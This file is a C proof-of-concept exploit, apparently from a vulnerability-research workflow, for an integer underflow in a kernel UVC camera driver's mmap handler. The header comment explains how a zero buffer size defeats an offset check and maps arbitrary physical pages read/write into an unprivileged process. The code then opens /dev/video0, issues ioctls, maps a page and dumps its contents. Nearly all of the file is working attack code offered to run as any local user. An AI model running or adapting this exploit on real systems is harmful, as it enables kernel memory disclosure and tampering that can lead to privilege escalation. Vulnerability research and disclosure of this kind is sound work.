DF-1066 / poc_uvc_oob.c
/* * DF-1066 trigger: integer underflow in uvc_buf_queue_mmap_locked(). * * max_offset = (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE * underflows to 0xFFFFFFFFFFFFF000 when buf_size==0, so the offset>max_offset * check passes for essentially any kernel VA. vtophys(bq->mem + offset) then * translates an attacker-chosen kernel VA into a physical page frame mapped * read/write into the process via the device pager. * * buf_size==0 is reachable when REQBUFS is called with len==0, which happens * when the camera probe returns dwMaxFrameSize==0 (malicious/failing camera). * * PRECONDITION: a UVC camera (whose probe returns dwMaxFrameSize==0, or a * malicious USB gadget) must be attached. This guest has NO USB camera and no * /dev/video*, so the trigger cannot run here; the bug is confirmed by source * trace (see VERDICT.md). * * build: cc -o poc_uvc_oob poc_uvc_oob.c * run: ./poc_uvc_oob # as any local user */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> #define V4L2_BUF_TYPE_VIDEO_CAPTURE 1 #define V4L2_MEMORY_MMAP 1 #define VIDIOC_S_FMT 0xC0CC5605U #define VIDIOC_REQBUFS 0xC0CC5608U struct v4l2_format { unsigned char _opaque[2048]; }; struct v4l2_requestbuffers { unsigned int count, type, memory; unsigned char _reserved[200]; }; int main(void) { int fd = open("/dev/video0", O_RDWR); if (fd < 0) { perror("open /dev/video0"); return 1; } struct v4l2_format f; memset(&f, 0, sizeof(f)); ioctl(fd, VIDIOC_S_FMT, &f); /* camera supplies dwMaxFrameSize=0 */ struct v4l2_requestbuffers rb; memset(&rb, 0, sizeof(rb)); rb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; rb.memory = V4L2_MEMORY_MMAP; rb.count = 1; ioctl(fd, VIDIOC_REQBUFS, &rb); /* len==0 -> bq->buf_size==0, underflow */ /* Crafted offset (here 0) becomes bq->mem+offset, translated by vtophys. * On a vulnerable kernel this maps the physical page backing (bq->mem) * read/write; iterating offset walks physical RAM. */ size_t pgsize = 4096; void *p = mmap(NULL, pgsize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (p == MAP_FAILED) { perror("mmap"); return 1; } printf("[*] mapped %zu bytes at %p via zero-len buf_size underflow\n", pgsize, p); for (size_t i = 0; i < pgsize; i++) printf("%02x ", ((unsigned char *)p)[i]); printf("\n"); close(fd); return 0; } |